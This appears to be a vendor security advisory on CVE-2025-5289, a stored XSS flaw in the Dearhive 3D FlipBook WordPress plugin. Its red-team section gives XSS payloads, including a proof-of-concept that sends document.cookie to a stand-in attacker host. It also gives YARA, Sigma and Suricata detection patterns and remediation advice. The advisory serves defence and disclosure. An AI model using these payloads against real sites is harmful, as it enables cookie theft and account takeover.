CVE-2025-5289

Executive Summary

CVE-2025-5289 is a Stored Cross-Site Scripting (XSS) vulnerability in the Dearhive 3D FlipBook – PDF Embedder, PDF Flipbook Viewer, Flipbook Image Gallery plugin for WordPress, affecting all versions up to and including 1.16.15. The flaw resides in insufficient input sanitization and output escaping of the style and mode parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious block. The vulnerability is specific to block-based themes (e.g., those using the WordPress Block Editor). With a CVSS score of 6.4 (Medium), the attack vector is network-based, requires low privileges, and has a changed scope, meaning the injected script can impact resources beyond the vulnerable component. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking the plugin’s checksum against the repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Requires Contributor-level or higher authentication.
• User Interaction (UI): None – No user action needed for exploitation.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable plugin.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Script injection can modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts in a WordPress environment poses a significant risk for site defacement, credential theft, and further attacks.

Deep Dive & Mechanics

The vulnerability exists in the 3D FlipBook plugin’s block editor integration. The plugin registers a custom block that allows users to embed 3D flipbooks via shortcodes or block attributes. The style and mode parameters are used to customize the appearance and behavior of the flipbook. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into these parameters.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a post/page using the block editor.
2. The attacker inserts the 3D FlipBook block and sets the style or mode parameter to a malicious payload, e.g., style="background:url('javascript:alert(1)')" or mode="<script>alert(document.cookie)</script>".
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including administrators or visitors) views the page, the injected script executes in their browser context.

Root Cause: The plugin fails to sanitize user input for the style and mode attributes and does not escape output when rendering the block. This is a classic Stored XSS vulnerability (CWE-79).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (hypothetical):

// In block render callback
function render_flipbook_block($attributes) {
    $style = $attributes['style'];
    $mode = $attributes['mode'];
    return "<div class='flipbook' style='$style' data-mode='$mode'>...</div>";
}

Patched Code (hypothetical):

function render_flipbook_block($attributes) {
    $style = esc_attr($attributes['style']); // Escape for HTML attribute
    $mode = esc_attr($attributes['mode']);   // Escape for HTML attribute
    return "<div class='flipbook' style='$style' data-mode='$mode'>...</div>";
}

The patched version uses esc_attr() to escape output, preventing script injection. Additionally, input validation should be applied to ensure style contains only safe CSS properties.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with 3D FlipBook plugin <= 1.16.15
• Authenticated user with Contributor role or higher
• Block-based theme (e.g., Twenty Twenty-Four)

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post and add the 3D FlipBook block.
3. In the block settings, set the style parameter to:

   background:url('javascript:alert("XSS")')
   

   Or set the mode parameter to:

   <script>alert(document.cookie)</script>
   

4. Publish the post.
5. When any user visits the post, the script executes.

Proof-of-Concept (PoC) Code:

// Example payload for mode parameter
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing suspicious style or mode attributes in the wp_posts table.
• Use Web Application Firewall (WAF) rules to block XSS payloads in block editor submissions.

Prevention:

• Disable the 3D FlipBook plugin until a patch is available.
• Restrict Contributor-level users from using the block editor if not needed.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/3d-flipbook-dearpdf/ (plugin directory)
• Database: Entries in wp_posts with post_content containing wp:3d-flip-book block and malicious style or mode attributes.
• Network: Outbound requests to attacker-controlled domains from compromised pages.
• Logs: WordPress debug logs showing unexpected script execution errors.

Detection Engineering

YARA Rule

rule detect_cve_2025_5289_xss {
    meta:
        description = "Detects malicious 3D FlipBook block attributes indicative of CVE-2025-5289"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-5289"
    strings:
        $xss1 = /style\s*=\s*["'][^"']*javascript:/i
        $xss2 = /mode\s*=\s*["'][^"']*<script/i
        $xss3 = /mode\s*=\s*["'][^"']*on\w+=/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-5289 - Stored XSS in 3D FlipBook Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress posts via 3D FlipBook block attributes
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 'wp:3d-flip-book'
    keywords:
        - 'style='
        - 'mode='
    condition: selection and keywords
falsepositives:
    - Legitimate use of CSS in style attribute
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5289 - Stored XSS in 3D FlipBook Plugin"; flow:to_server,established; content:"wp:3d-flip-book"; http_client_body; pcre:"/(style|mode)\s*=\s*[\"'][^\"']*(javascript:|<script|on\w+=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict user roles – Remove Contributor-level access from untrusted users.
3. Apply virtual patching via WAF to block XSS payloads in block editor submissions.

Long-term Fix:

• Monitor the plugin vendor (Dearhive) for an official patch. If none is released, consider replacing the plugin with an alternative.
• Implement input validation and output escaping in custom code if you maintain a fork.

General Hardening:

• Enable Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit WordPress plugins for vulnerabilities.
• Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.

Valters IT
Securing Digital Frontiers